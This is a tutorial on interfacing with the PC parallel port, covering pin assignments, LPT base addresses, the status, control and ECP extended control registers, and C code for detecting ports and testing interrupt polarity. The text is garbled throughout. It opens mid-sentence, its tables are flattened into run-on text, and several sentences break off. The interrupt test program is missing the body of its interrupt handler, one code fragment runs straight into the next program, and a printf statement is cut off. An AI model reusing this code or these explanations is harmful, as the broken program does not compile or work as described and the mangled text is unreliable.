bash-4.2$ python3.6 Python 3.6.7 (default, Dec 5 2018, 15:02:05) [GCC 4.8.5 20150623 (Red Hat 4.8.5-36)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import socket >>> socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp")) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib64/python3.6/socket.py", line 144, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) PermissionError: [Errno 1] Operation not permitted
Well, nobody lied, it really need to be ran as ‘root’ (well.. yeah no, maybe). But that sucks, so what options do we have here? We can use the magic of setuid/setgid or from kernel version 2.2, we can use Linux kernel capabilities. Next we will check these.
SETUID/SETGID
setuid and setgid (short for “set user ID” and “set group ID”)[1] are Unix access rights flags that allow users to run an executable with the permissions of the executable’s owner or group respectively and to change behaviour in directories.
So we can just simply set the owner of the script to be “root” and then enable the setuid bit and bamm we are done. What an awful idea! Security folks probably started to heavily breath now! But they are right, don’t use that.
Linux kernel.
This sounds good, let’s see what capabilities are out there and which can be interesting for us! You can find all the capabilities and details in the manual, here I collected the most interesting for this topic:numbers less than 1024).
CAP_NET_RAW
Use RAW and PACKET sockets;
bind to any address for transparent proxying.
Okay, so now we know, that in the Linux world, there’s no more only root or non-root, we can use these capabilities, so we can grant permissions more granular. But if we follow the “principle of least privilege”, we can ask: do we need to allow all these capabilities? Well no, not really.
If we add CAP_NET_ADMIN capability to a process, it will be able to do various things to our networking stack, like interface configuration, change of firewall settings and so on. We clearly don’t want this, and if we check the list of permissions, we don’t need them.
On the other hand, CAP_NET_BIND_SERVICE allows the process to bind on a privileges port (any port under 1024). We also don’t need this, so we can just exclude this capability as well.
The last thing is CAP_NET_RAW. This allows exactly what we need: allows the process to use RAW sockets and to bind to any IP address. Perfect, just what we need.
Linux capability sets
Now we know, that we need the CAP_NET_RAW capability. But how should we add this to our process? We can me these permitted, inheritable and effective (and many more, but these are the most important now)..
Effective
This is the set of capabilities used by the kernel to perform permission checks for the thread.
Add Linux capabilities to a process
Adding Linux capabilities to a process is fairly easy with the use of the setcap command. As this is going to be a Python script, we need to add it to the Python interpreter. Be careful, if you add this to the global interpreter of your system, all scripts will have these capabilities! To be on the safe side, it’s worth to create a virtualenv, and only pimp that interpreter!
(+ means, that we add the capability, e=effective, p=permitted)
setcap cap_net_raw+ep /path/to/your/interpreter
We can check the capabilities with the getcap command (this is an example of the ping command):
getcap /usr/bin/ping /usr/bin/ping = cap_net_admin,cap_net_raw+p
And that’s it. Now you should be able to run your script without running it as root. It has now more permissions, than a regular process, but still not running as root!
Running in a rootless Docker container
Okay, now we can run that thing without root. So now let’s put it in a container! If we run a Docker container, by default, it drops a bunch of capabilities, as we wont need most of them. In this case, we will only need the cap_net_raw capability, so we can drop all others.
To read more about capabilities:
Example command to run the container with only the net_raw capability:
docker run -it --cap-drop=all --cap-add=net_raw <image>
With the –cap=drop=all command, we can drop all the capabilities. With the –cap-add=<name>, we can add capabilities. | https://inframates.com/2020/03/17/python-socket-bind-in-a-rootless-container-world/ | CC-MAIN-2021-49 | refinedweb | 1,038 | 65.32 |
There are plenty of predefined templates included in the ReSharper installation, and they cover main code constructs for different languages. However, you may want to use custom templates for your particular development needs. ReSharper provides Templates Explorer and Template Editor that allow you to quickly create new custom templates.
Tip
Your new custom templates can be readily available to other developers. Depending on your needs, you can create the new code template in different settings layers including team-shared layers. If necessary, you can later share it by copying to a team-shared settings layer or by exporting it into a file.
- On the main menu, choose ReSharper | Templates Explorer or press Alt+R+P.
- In the Templates Explorer window that appears, click one of three tabs corresponding to the required type of template: Live Templates, Surround Templates, or File Templates.
- Optionally, if you want to create your template in a particular settings layer, choose the desired layer in the Layer drop-down list. For more information on settings layers, see Managing and Sharing Options.
- Click New Template
. The newly created template is opened in the Template Editor. The Editor opens in a separate Visual Studio code pane and allows you switching between your code and your template to quickly test the created template:
- Identify your new template in one of the following ways:
- For a live template, specify a shortcut (abbreviation) in the Shortcut field. A template shortcut is used to quickly invoke the corresponding template from the code editor when you create source code using live template. In the Description field, type optional description for the template.
- For a surround template, specify the name of a new template in the Description field.
- For a file template, fill in two text fields: Description (name of template) and Default file name (the file name that ReSharper suggests by default when a user invokes this particular template). Optionally, select File name must be a valid identifier to make ReSharper validate file name when you apply the template.
Note
ReSharper does not save each code template in a separate file. Therefore, their identifiers displayed to the user (Shortcut for a live template and Description for a surround template or a file template) do not have to be unique. However, try to provide comprehensible identifiers so as not to be confused when you apply the created code templates.
- To specify Template Scopes, click the Available hyperlink. When the Select scopes dialog box appears, use check boxes to define where the new template can be applied. You can expand some scopes to specify details (e.g. file masks or language version):
- In the text area of the Template Editor, enter the template source code that may contain plain text and variables. As soon as you type a variable (for example, $VAR$), it appears in the list to the right of the text area. See Template Variables for details.
- Configure all user-defined variables in your template as described in the Declaring Variables section. A well-designed set of variables is essential for Parameterized Templates.
- Configure template formatting options:
- Select the Reformat check box to make ReSharper automatically reformat the expanded code fragment according to your code style settings.
- Select the Shorten qualified references check box to make ReSharper automatically insert namespace import directives or remove qualifiers that become redundant after the template is applied. If this check box is not selected, ReSharper won't insert any namespace import directives at all.
- To save the created template, choose File | Save Selected Items on the Visual Studio menu or press Ctrl+S.
Tip
After creating new templates, you may need to organize your templates by categories. If you have just created a new file template or a new surround template, you may want to add it to the quick access list. | http://www.jetbrains.com/resharper/webhelp70/Templates__Creating_and_Editing_Templates__Creating_a_Template.html | CC-MAIN-2014-42 | refinedweb | 635 | 53.31 |
In this Program example, you will learn to print Hello World.
In this program, you’ll learn to print Hello World using input and output functions.
The Hello World program is one of the simplest programs, but it already contains the fundamental components that every C++ program has. Don’t be overwhelmed, we will take a look at the code line by line.
Program to print Hello World!
#include <iostream> using namespace std; int main() { cout << "Hello, World!"; return 0; }
Output
Hello, World!
Note: Every C++ program starts from the
main() function.
The
cout is the standard output stream which prints the “Hello, World!” string on the monitor.
The return 0; is the Exit status” of the program.
Program to Print Hello World! using std function
#include <iostream> int main() { std::cout << "Hello, World!"; return 0; }
Output
Hello, World!
Related Program
- C++ Program to Print Number Entered by User
- how to print statement by commenting. Documentation.
Please write to us at [email protected] to report any issue with the above content or for feedback. | https://coderforevers.com/cpp/cpp-program/print-sentence-hello-world/ | CC-MAIN-2019-39 | refinedweb | 174 | 77.53 |
@NCSComputing on twitter has started re-using the code to make other things happen, so thought it would be a good idea to write up how it works, so others can do the same.
To make this work you need one program which runs on the Microbit and prints data and a second runs on your computer (a Raspberry Pi, PC, Mac, anything with a USB port) which reads the data via a serial connection.
See github.com/martinohanlon/microbit-serial for the code for both of these programs.
The Microbit
The microbitreaddata.py python program runs on the Microbit, gets the data and prints it to the output, which in this case is the USB serial connection, and should be flashed to your computer using the Python editor:
from microbit import * REFRESH = 500 def get_data(): x, y, z = accelerometer.get_x(), accelerometer.get_y(), accelerometer.get_z() a, b = button_a.was_pressed(), button_b.was_pressed() print(x, y, z, a, b) def run(): while True: sleep(REFRESH) get_data() display.show('M') run()
Your Computer
The clientreaddata.py python program runs on the computer and reads the data using pyserial:
import serial #the port will depend on your computer #for a raspberry pi it will probably be /dev/ttyACM0 #PORT = "/dev/ttyACM0" #for windows it will be COM(something) PORT = "COM3" BAUD = 115200 s = serial.Serial(PORT) s.baudrate = BAUD s.parity = serial.PARITY_NONE s.databits = serial.EIGHTBITS s.stopbits = serial.STOPBITS_ONE try: while True: #read a line from the microbit, decode it and # strip the whitespace at the end data = s.readline().rstrip() #split the accelerometer data into x, y, z data_s = data.split(" ") x, y, z = data_s[0], data_s[1], data_s[2] a, b = data_s[3], data_s[4] print(x,y,z) print(a,b) finally: s.close()The values of the accelerometer will be put into the variables x, y, z and the buttons in a & b.
Setting the PORT
You will have to change the PORT variable in the clientreaddata.py program to the comm port that the Microbit is connected to on your computer.
For a Raspberry Pi it is probably "/dev/ttyACM0", in the event it isn't, unplug the Microbit and run:
ls /dev/tty*
Then plug the Microbit and run the command again, the new device which appears will be the port of your Microbit.
For Windows it will be "COM#", the # being a number, the easiest way is to look in Device Manager for the "mBed Serial Port (COM#)"
Thanks for a great post Martin. I hope this isn't a really obvious question, but does the micro:bit need to be constantly connected to the Raspberry Pi - or will it store a certain amount of data which you can then read via the serial port next time you connect?
Thanks in advance for any advice you have
No, to read the data it has to be connected, if its not connected, its still transmitting but if there is nothing there to read it, it will just be lost. There are functions in micropython for storing data in files though, so perhaps using something like that might help.
nice
Great! Will try to use some of your code to connect micro:bit to Twitter :-) | http://www.stuffaboutcode.com/2016/03/microbit-get-data-from-usb.html | CC-MAIN-2017-17 | refinedweb | 538 | 57.4 |
Scenario:
It is frequently asked question, I can read object type variable by using For-each Loop in SSIS but How can I read the object type variable in Script Task.
Solution:
Here is quick demo that will show you step by step approach to read Object Type variable in Script Task.
Step 1:
Create connect to your SQL Server and then use Query in Execute SQL Task as given below and save the result set to VarObject Variable that is object type variable.
Select 1 as ID, 'AAMIR' AS Name
Union All
Select 2 as ID, 'Raza' AS Name
Step 2:
Configure Script Task as shown in snapshots for your SSIS Package
Select the Script Language and Variable you need to use in Script Task
Add the Code as shown in snapshot to your Script task
Code that you see in snapshot added by me in Script task
using System.Data.OleDb;
OleDbDataAdapter A = new OleDbDataAdapter();
System.Data.DataTable dt = new System.Data.DataTable();
A.Fill(dt, Dts.Variables["User::VarObject"].Value);
// TODO: Add your code here
foreach (DataRow row in dt.Rows)
{
string ID;
string Name;
object[] array=row.ItemArray;
ID = array[0].ToString();
Name = array[1].ToString();
// I Declare both variables ID And Name as String, So I can show in Messagebox. You can Declare ID as INT and set the value and use
//However you want to use.
MessageBox.Show("ID Value="+ ID +" AND Name Value=" + Name);
Final Output:
Run your SSIS Package, It is going to Run Execute SQL Task in which it will load the Result Set to VarObject Variable and then inside Script task we are using VarObject variable to read values from and displaying them. | http://www.techbrothersit.com/2013/07/ssis-how-to-read-object-type-variable.html | CC-MAIN-2017-04 | refinedweb | 283 | 67.99 |
This notebook explores parsing and understanding the SAM (Sequence Alignment/Map) and related BAM format. SAM is an extremely common format for representing read alignments. Most widely-used read alignment tools output SAM alignments.
SAM is a text format. There is a closely related binary format called BAM. There are two types of BAM files: unsorted or sorted. Various tools, notably SAMtools and Picard, can convert back and forth between SAM and BAM, and can sort an existing BAM file. When we say a BAM file is sorted we almost always mean that the alignments are sorted left-to-right along the reference genome. (It's also possible to sort a BAM file by read name, though that's only occassionally useful.)
Once you have an interesting set of read alignments that you would like to keep for a while and perhaps analyze further, it's a good idea to keep them in sorted BAM files. This is because:
That said, most alignment tools output SAM (not BAM), and the alignments come out in an arbitrary order -- not sorted.
An authoritative and complete document describing the SAM and BAM formats is the SAM specification. This document is thorough, but, being a specification, it does not describe is the various "dialects" of legal SAM emitted by popular tools. I'll cover some of that here.
# Here's a string representing a three-line SAM file. I'm temporarily # ignoring the fact that SAM files usually have several header lines at # the beginning.[email protected](:A*)7/>9C>6#1<6:C(.CC;#.;>;2'$4D:?&B!>689?(0([email protected])GG=>?958.D2E04C<E,*AD%G0.%$+A:'H;?8<72:88?E6((CF)6DF#.)=>B>D-="C'B080E'5BH"77':"@70#4%A5=6.2/1>;9"&-H6)=$/0;5E:<[email protected]::1?2DC7C*;@*#.1C0.D>H/20,!"C-#,[email protected]%<+<D(AG-).?�.00'@)/F8?B!&"170,)>:?<A7#1([email protected]#&A.*DC.E")AH"+.,5,2>5"2?:G,F"D0B8D-6$65D<D!A/38860.*4;4B<*31?6 AS:i:-22 XN:i:0 XM:i:8 XO:i:0 XG:i:0 NM:i:8 MD:Z:80C4C16A52T23G30A8T76A41 YT:Z:UU'''
# I'll read this string in line-by-line as though it were a file. # I'll (lightly) parse the alignment records as I go. import string from StringIO import StringIO # reading from string rather than file for ln in StringIO(samStr): qname, flag, rname, pos, mapq, cigar, rnext, \ pnext, tlen, seq, qual, extras = string.split(ln, '\t', 11) print qname, len(seq) # print read name, length of read sequence
r1 122 r2 275 r3 338
As you can see from this last example, each SAM record is on a separate line, and it consists of several tab-delimited fields. The SAM specification is the authoritative source for information on what all the fields mean exactly, but here's a brief summary of each of the fields (in order):
qnameis the name of the read
flagsis a bit field encoding some yes/no pieces of information about whether and how the read aligned
rnameis the name of the reference sequence that the read aligned to (if applicable). E.g., might be "chr17" meaning "chromosome 17"
posis the 1-based offset into the reference sequence where the read aligned.
mapqfor an aligned read, this is a confidence value; high when we're very confident we've found the correct alignment, low when we're not confident
cigarindicates where any gaps occur in the alignment
rnextonly relevant for paired-end reads; name of the reference sequence where other end aligned
pnextonly relevant for paired-end reads; 1-based offset into the reference sequence where other end aligned
tlenonly relevant for paired-end reads; fragment length inferred from alignment
seqread sequence. If read aligned to reference genome's reverse-complement, this is the reverse complement of the read sequence.
qualquality sequence. If read aligned to reference genome's reverse-complement, this is the reverse of the quality sequence.
extrastab-separated "extra" fields, usually optional and aligner-specific but often very important!
Field 1,
qname is the name of the read. Read names often contain information about:
Field 5,
mapq, encodes the probability p that the alignment reported is incorrect. The probability is encoded as an integer Q on the Phred scale:
$$ Q = -10 \cdot \log_{10}(p) $$
Fields 7, 8 and 9 (
rnext,
pnext and
tlen) are only relevant if the read is part of a pair. By way of background, sequencers can be configured to report pairs of DNA snippets that appear close to each other in the genome. To accomplish this, the sequencer sequences both ends of a longer fragment of DNA. When this is the case
rnext and
pnext tell us where the other end of the pair aligned, and
tlen tells us the length of the fragment, as inferred from the alignments of the two ends.
Field 10,
seq, is the nucleotide sequence of the read. The nucleotide sequence is reverse complemented if the read aligned to the reverse complement of the reference genome. (This is equivalent to the reverse complement of the read aligning to the genome.)
seq can contain the character "
N".
N essentially means "no confidence." The sequencer knows there's a nucleotide there but doesn't know whether it's an A, C, G or T.
Field 11,
qual, is the quality sequence of the read. Each nucleotide in
seq has a corresponding quality value in this string. A nucleotide's quality value encodes the probability that the nucleotide was incorrectly called by the sequencing instrument and its software. For details on this encoding, see the FASTQ notebook.
The
flags field is a bitfield. Individual bits correspond to certain yes/no properties of the alignment. Here are the most relevant ones:
There are a few more that are used less often; see the [SAM specification] for details.
How do we know how good an alignment is, i.e., how well the read sequence matches the corresponding referene sequence. This information is spread across a few places:
AS:iextra field
cigarfield
MD:Zextra field
While the
AS:i extra field is not required by the specification, all the most popular tools output it. The integer appearing in this field is an alignment score. The higher the score, the more similar the read sequence is to the reference sequence.
Different tools use differen scales for
AS:i. Sometimes (e.g. in Bowtie 2's
--end-to-end alignment mode)
We would like to know exactly how the read aligned to the reference, including where all the mismatches and gaps are, and which characters appear opposite the gaps. This is not possible just by looking at the read sequence together with the CIGAR string. That doesn't tell us what reference characters appear in the mismatched position, or in the positions involved in deletions. Instead, we combine information from the (a) read sequence, (b) CIGAR string, and (c)
MD:Z string. The CIGAR and
MD:Z strings are both described in the SAM specification.
First we construct a function to parse the CIGAR field:
def cigarToList(cigar): ''' Parse CIGAR string into a list of CIGAR operations. For more info on CIGAR operations, see SAM spec: ''' ret, i = [], 0 op_map = {'M':0, # match or mismatch '=':0, # match 'X':0, # mismatch 'I':1, # insertion in read w/r/t reference 'D':2, # deletion in read w/r/t reference 'N':3, # long gap due e.g. to splice junction 'S':4, # soft clipping due e.g. to local alignment 'H':5, # hard clipping 'P':6} # padding # Seems like = and X together are strictly more expressive than M. # Why not just have = and X and get rid of M? Space efficiency, # mainly. The titans discuss: while i < len(cigar): run = 0 while i < len(cigar) and cigar[i].isdigit(): # parse one more digit of run length run *= 10 run += int(cigar[i]) i += 1 assert i < len(cigar) # parse cigar operation op = cigar[i] i += 1 assert op in op_map # append to result ret.append([op_map[op], run]) return ret
cigarToList('10=1X10=')
[[0, 10], [0, 1], [0, 10]]
Next we construct a function to parse the
MD:Z extra field:
def mdzToList(md): ''' Parse MD:Z string into a list of operations, where 0=match, 1=read gap, 2=mismatch. ''' i = 0; ret = [] # list of (op, run, str) tuples while i < len(md): if md[i].isdigit(): # stretch of matches run = 0 while i < len(md) and md[i].isdigit(): run *= 10 run += int(md[i]) i += 1 # skip over digit if run > 0: ret.append([0, run, ""]) elif md[i].isalpha(): # stretch of mismatches mmstr = "" while i < len(md) and md[i].isalpha(): mmstr += md[i] i += 1 assert len(mmstr) > 0 ret.append([1, len(mmstr), mmstr]) elif md[i] == "^": # read gap i += 1 # skip over ^ refstr = "" while i < len(md) and md[i].isalpha(): refstr += md[i] i += 1 # skip over inserted character assert len(refstr) > 0 ret.append([2, len(refstr), refstr]) else: raise RuntimeError('Unexpected character in MD:Z: "%d"' % md[i]) return ret
# Each element in the list returned by this call is itself a list w/ 3 # elements. Element 1 is the MD:Z operation (0=match, 1=mismatch, # 2=deletion). Element 2 is the length and element 3 is the relevant # sequence of nucleotides from the reference. mdzToList('10A5^AC6')
[[0, 10, ''], [1, 1, 'A'], [0, 5, ''], [2, 2, 'AC'], [0, 6, '']]
Now we can write a fucntion that takes a read sequennce, a parsed CIGAR string, and a parse
MD:Z string and combines information from all three to make what I call a "stacked alignment."
def cigarMdzToStacked(seq, cgp, mdp_orig): ''' Takes parsed CIGAR and parsed MD:Z, generates a stacked alignment: a pair of strings with gap characters inserted (possibly) and where characters at at the same offsets are opposite each other in the alignment. Only knows how to handle CIGAR ops M=XDINSH right now. ''' mdp = mdp_orig[:] rds, rfs = [], [] mdo, rdoff = 0, 0 for c in cgp: op, run = c skipping = (op == 4 or op == 5) assert skipping or mdo < len(mdp) if op == 0: # CIGAR op M, = or X # Look for block matches and mismatches in MD:Z string mdrun = 0 runleft = run while runleft > 0 and mdo < len(mdp): op_m, run_m, st_m = mdp[mdo] run_comb = min(runleft, run_m) runleft -= run_comb assert op_m == 0 or op_m == 1 rds.append(seq[rdoff:rdoff + run_comb]) if op_m == 0: # match from MD:Z string rfs.append(seq[rdoff:rdoff + run_comb]) else: # mismatch from MD:Z string assert len(st_m) == run_comb rfs.append(st_m) mdrun += run_comb rdoff += run_comb # Stretch of matches in MD:Z could span M and I CIGAR ops if run_comb < run_m: assert op_m == 0 mdp[mdo][1] -= run_comb else: mdo += 1 elif op == 1: # CIGAR op I rds.append(seq[rdoff:rdoff + run]) rfs.append("-" * run) rdoff += run elif op == 2: # D op_m, run_m, st_m = mdp[mdo] assert op_m == 2 assert run == run_m assert len(st_m) == run mdo += 1 rds.append("-" * run) rfs.append(st_m) elif op == 3: # N rds.append("-" * run) rfs.append("-" * run) elif op == 4: # S rds.append(seq[rdoff:rdoff + run].lower()) rfs.append(' ' * run) rdoff += run elif op == 5: # H rds.append('!' * run) rfs.append(' ' * run) elif op == 6: # P raise RuntimeError("Don't know how to handle P in CIGAR") else: raise RuntimeError('Unexpected CIGAR op: %d' % op) assert mdo == len(mdp) return ''.join(rds), ''.join(rfs)
# Following example includes gaps and mismatches cigarMdzToStacked('GGACGCTCAGTAGTGACGATAGCTGAAAACCCTGTACGATAAACC', cigarToList('12M2D17M2I14M'), mdzToList('12^AT30G0'))
('GGACGCTCAGTA--GTGACGATAGCTGAAAACCCTGTACGATAAACC', 'GGACGCTCAGTAATGTGACGATAGCTGAAAA--CTGTACGATAAACG')
# Following example also includes soft clipping (CIGAR: S) # SAM spec: Soft clipping: "clipped sequences present in SEQ" # We print them in lowercase to emphasize their clippedness cigarMdzToStacked('GGACGCTCAGTAGTGACGATAGCTGAAAACCCTGTACGAGAAGCC', cigarToList('12M2D17M2I8M6S'), mdzToList('12^AT25'))
( hard clipping (CIGAR: H) # SAM spec: Hard clipping: "clipped sequences NOT present in SEQ" cigarMdzToStacked('GGACGCTCAGTAGTGACGATAGCTGAAAACCCTGTACGAGAAGCC', cigarToList('12M2D17M2I8M6S3H'), mdzToList('12^AT25')) # Note: don't see hard clipping in practice much
( skipping (CIGAR: N), as seen in # TopHat alignments'))
('GGACGCTCAGTA--GTGACGATAG----------CTGAAAACCCTGTACGAgaagcc!!!', 'GGACGCTCAGTAATGTGACGATAG----------CTGAAAA--CTGTACGA ')
From the stacked alignment, it's easy to do other things. E.g. we can turn a stacked alignment into a new CIGAR string that uses the
= and
X operations instead of the less specific
M operation:
def cigarize(rds, rfs): off = 0 oplist = [] lastc, cnt = '', 0 for i in xrange(0, len(rds)): c = None if rfs[i] == ' ': c = 'S' elif rds[i] == '-' and rfs[i] == '-': c = 'N' elif rds[i] == '-': c = 'D' elif rfs[i] == '-': c = 'I' elif rds[i] != rfs[i]: c = 'X' else: c = '=' if c == lastc: cnt += 1 else: if len(lastc) > 0: oplist.append((lastc, cnt)) lastc, cnt = c, 1 if len(lastc) > 0: oplist.append((lastc, cnt)) return ''.join(map(lambda x: str(x[1]) + x[0], oplist))
x, y = cigarMdzToStacked('ACGTACGT', cigarToList('8M'), mdzToList('4G3'))
cigarize(x, y)
'4=1X3='
x, y ='))
cigarize(x, y)
'12=2D10=10N7=2I8=9S'
!samtools
Program: samtools (Tools for alignments in the SAM format) Version: 0.1.18 (r982:295) Usage: samtools <command> [options] Command: view SAM<->BAM conversion sort sort alignment file mpileup multi-way pileup depth compute the depth faidx index/extract FASTA tview text alignment viewer index index alignment idxstats BAM index stats (r595 or later) fixmate fix mate information flagstat simple stats calmd recalculate MD/NM tags and '=' bases merge merge sorted alignments rmdup remove PCR duplicates reheader replace BAM header cat concatenate BAMs targetcut cut fosmid regions (for fosmid pool only) phase phase heterozygotes
!samtools view
Usage: samtools view [options] <in.bam>|<in.sam> [region1 [...]] Options: -b output BAM -h print header for the SAM output -H print header only (no alignments) -S input is SAM -u uncompressed BAM output (force -b) -1 fast compression (force -b) -x output FLAG in HEX (samtools-C specific) -X output FLAG in string (samtools-C specific) -c print only the count of matching records -L FILE output alignments overlapping the input BED FILE [null] -t FILE list of reference names and lengths (force -S) [null] -T FILE reference sequence file (force -S) [null] -o FILE output file name [stdout] -R FILE list of read groups to be outputted [null] -f INT required flag, 0 for unset [0] -F INT filtering flag, 0 for unset [0] -q INT minimum mapping quality [0] -l STR only output reads in library STR [null] -r STR only output reads in read group STR [null] -s FLOAT fraction of templates to subsample; integer part as seed [-1] -? longer help | http://nbviewer.jupyter.org/github/BenLangmead/comp-genomics-class/blob/master/notebooks/SAM.ipynb | CC-MAIN-2018-51 | refinedweb | 2,421 | 59.23 |
projects. bidirectionalType in the near future. Pin No (D-Type Pin No Directio Registe Hardware SPP Signal 25) (Centronics) n In/out r Inverted 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 nStrobe Data 0 Data 1 Data 2 Data 3 Data 4 Data 5 Data 6 Data 7 In/Out Out Out Out Out Out Out Out Out Control Yes Data Data Data Data Data Data Data Data
10 11 12 13 14 15 16 17
10 11 12 13 14 32 31 36
nAck Busy
In In
Status Status Yes Status Status Control Yes Status Control Control Yes
Paper-Out / PaperIn End Select nAuto-Linefeed nError / nFault nInitialize nSelect-Printer / nSelect-In In In/Out In In/Out In/Out
18 - 25 19-30 Ground Gnd Table 1 Pin Assignments of the D-Type 25 pin Parallel Port Connector. The above table uses "n" in front of the signal name to denote that the signal is active low. e.g. Error. If the printer has occurred an error then this line is low. This line normally is high, should the printer be functioning correctly. The "Hardware Inverted" means the signal is inverted by the Parallel card's hardware. Such an example is the Busy line. If +5v (Logic 1) was applied to this pin and the status register read, it would return back a 0 in Bit 7 of the Status Register.uS 3BCh - 3BFh 378h - 37Fh 278h - 27Fh Notes: Used for Parallel Ports which were incorporated on to Video Cards - Doesn't support ECP addresses Usual Address For LPT 1 Usual Address For LPT 2 Table 2 Port Addresses
When the computer is first turned on, BIOS (Basic Input/Output System) will determine the number of ports you have and assign device labels LPT1, LPT2 & LPT3 to them. BIOS first looks at address 3BCh. If a Parallel Port is found here, it is assigned as LPT1, then it searches at location 378h. If a Parallel card is found there, it is assigned the next free device label. This would be LPT1 if a card wasn't found at 3BCh or LPT2 if a card was found at 3BCh. The last port of call, is 278h and follows the same procedure than the other two ports. Therefore it is possible to have a LPT2 which is at 378h and not at the expected address 278h. 0000:040A 0000:040C LPT1's Base Address LPT2's Base Address LPT3's Base Address
0000:040E LPT4's Base Address (Note 1) Table 3 - LPT Addresses in the BIOS Data Area;; ptraddr=(unsigned int far *)0x00000408; for (a = 0; a < 3; a++) { address = *ptraddr; if (address == 0) printf("No port found for LPT%d \n",a+1); else printf("Address assigned to LPT%d is %Xh\n",a+1,address); *ptraddr++; } } Software Registers - Standard Parallel Port (SPP) Offset Base + 0 Name Data Port Read/Write Bit No. Write (Note- Bit 7 1) Bit 6 Bit 5 Bit 4 Bit 3 Bit 2 Bit 1 Bit 0 Table 4 Data Port Properties Data 7 Data 6 Data 5 Data 4 Data 3 Data 2 Data 1 register is normally a write only port. If you read from the port, you should get the last byte sent. However if your port is bi-directional, you can receive data on this address. See Bi-directional Ports for more detail. Offset Name Read/Write Bit No. Properties Base + 1 Status Port Read Only Bit 7 Bit 6 Bit 5 Bit 4 Bit 3 Bit 2 Bit 1 Bit 0 Table 5 Status Port Busy Ack Paper Out Select In Error IRQ (Not) Reserved Reserved
The Status Port (base address + 1) is a read only port. Any data written to this port will be ignored. The Status Port is made up of 5 input lines (Pins 10,11,12,13 & 15), a IRQ status register and two reserved bits. Please note that Bit 7 (Busy) is a active low input. E.g. If bit 7 happens to show a logic 0, this means that there is +5v at pin 11. Likewise with Bit 2. (nIRQ) If this bit shows a '1' then an interrupt has not occurred. Offset Name Read/Write Bit No. Properties Base + 2 Control Port Read/Write Bit 7 Bit 6 Bit 5 Bit 4 Bit 3 Bit 2 Bit 1 Bit 0 Table 6 Control Port Unused Unused Enable Bi-Directional Port Enable IRQ Via Ack Line Select Printer Initialize Printer (Reset) Auto Linefeed Strobe
The Control Port (base address + 2) was intended as a write only port. When a printer is attached to the Parallel Port, four "controls" are used. These are Strobe, Auto Linefeed, Initialize and Select Printer, all of which are inverted except Initialize. The printer would not send a signal to initialize the computer, nor would it tell the computer to use auto linefeed. However these four outputs can also be used for inputs. If the computer has placed a pin high (e.g. +5v) and your device wanted to take it low, you would effectively short out the port, causing a conflict on that pin. Therefore these lines are "open collector" outputs (or open drain for CMOS devices). This means that it has can. outportb(CONTROL, inportb(CONTROL) | 0x01); /* Select Low Nibble .. /* /* /* /* /* Parallel Port Interrupt Polarity Tester 2nd February 1998 Copyright 1997 Craig Peacock WWW - Email - cpeacock@senet.com.au */ */ */ */ */
#include <dos.h> #define PORTADDRESS 0x378 /* Enter Your Port Address Here */ #define IRQ 7 /* IRQ Here */ #define DATA PORTADDRESS+0 #define STATUS PORTADDRESS+1 #define CONTROL PORTADDRESS+2 #define PIC1 0x20 #define PIC2 0xA0 int interflag; /* Interrupt Flag */ int picaddr; /* Programmable Interrupt Controller (PIC) Base Address */ void interrupt (*oldhandler)(); void interrupt parisr() /* Interrupt Service Routine (ISR) */ {
void main(void) { int c; int intno; /* Interrupt Vector Number */ int picmask; /* PIC's Mask */ /* Calculate Interrupt Vector, PIC Addr & Mask. */ if (IRQ >= 2 && IRQ <= 7) { intno = IRQ + 0x08; picaddr = PIC1; picmask = 1; picmask = picmask << IRQ; } if (IRQ >= 8 && IRQ <= 15) { intno = IRQ + 0x68; picaddr = PIC2; picmask = 1; picmask = picmask << (IRQ-8); } if (IRQ < 2 || IRQ > 15) { printf("IRQ Out of Range\n"); exit(); } outportb(CONTROL, inportb(CONTROL) & 0xDF); /* Make sure port is in Forward Direction */ outportb(DATA,0xFF); oldhandler = getvect(intno); /* Save Old Interrupt Vector */ setvect(intno, parisr); /* Set New Interrupt Vector Entry */ outportb(picaddr+1,inportb(picaddr+1) & (0xFF - picmask)); /* Un-Mask Pic */ outportb(CONTROL, inportb(CONTROL) | 0x10); /* Enable Parallel Port IRQ's */ Wiring."); } outportb(CONTROL, inportb(CONTROL) & 0xEF); /* Disable Parallel Port IRQ's */ outportb(picaddr+1,inportb(picaddr+1) | picmask); /* Mask Pic */ setvect(intno, oldhandler); /* Restore old Interrupt Vector Before Exit */ } At compile time, the above source may generate a few warnings, condition always true, condition always false, unreachable code etc. These are perfectly O.K. They are generated as some of the condition structures test which IRQ you are using, and as the IRQ is defined as a constant some outcomes will never change. While they would of been better implemented as a preprocessor directive, I've done this so you can cut and paste the source code in your own programs which may use command line arguments, user input etc instead of a defined IRQ. bidirectional. Bit Function 7:5 Selects Current Mode of Operation
Standard Mode Byte Mode Parallel Port FIFO Mode ECP FIFO Mode EPP Mode Reserved FIFO Test Mode Configuration Mode
ECP Interrupt Bit DMA Enable Bit ECP Service Bit FIFO Full FIFO Empty Table 7 - Extended Control Register (ECR)
The table above is of the Extended Control Register. We are only interested in the three MSB of the Extended Control Register which selects the mode of operation. There are 7 possible modes of operation, but not all ports will support all modes. The EPP mode is one such example, not being available on some ports. Modes of Operation Standard Selecting this mode will cause the ECP port to behave as a Standard Parallel Port, Mode without bi-directional functionality. Byte Mode / Behaves as a SPP in bi-directional mode. Bit 5 will place the port in reverse mode. PS/2 Mode Parallel Port In this mode, any data written to the Data FIFO will be sent to the peripheral using FIFO Mode the SPP Handshake. The hardware will generate the handshaking required. Useful with non-ECP devices such as Printers. You can have some of the features of ECP like FIFO buffers and hardware generation of handshaking butwith the existing SPPhandshake instead of the ECPHandshake. ECP FIFO Standard mode for ECP use. This mode uses the ECP Handshake described in Mode Interfacing the Extended Capabilities Port. - When in ECP Mode though BIOS, and the ECR register is set to ECP FIFO Mode (011), the SPP registers may disappear. EPP This will enable EPP Mode, if available. Under BIOS, if ECP mode is set then it's Mode/Reserv more than likely, this mode is not an option. However if BIOS is set to ECP and ed EPP1.x Mode, then EPP 1.x will be enabled. - Under Microsoft's Extended Capabilities Port Protocol and ISA Interface Standard this mode is Vendor Specified. Reserved Currently Reserved. - Under Microsoft's Extended Capabilities Port Protocol and ISA Interface Standard this mode is Vendor Specified. FIFO Test While in this mode, any data written to the Test FIFO Register will be placed into Mode the FIFO and any data read from the Test FIFO register will be read from the FIFObuffer. The 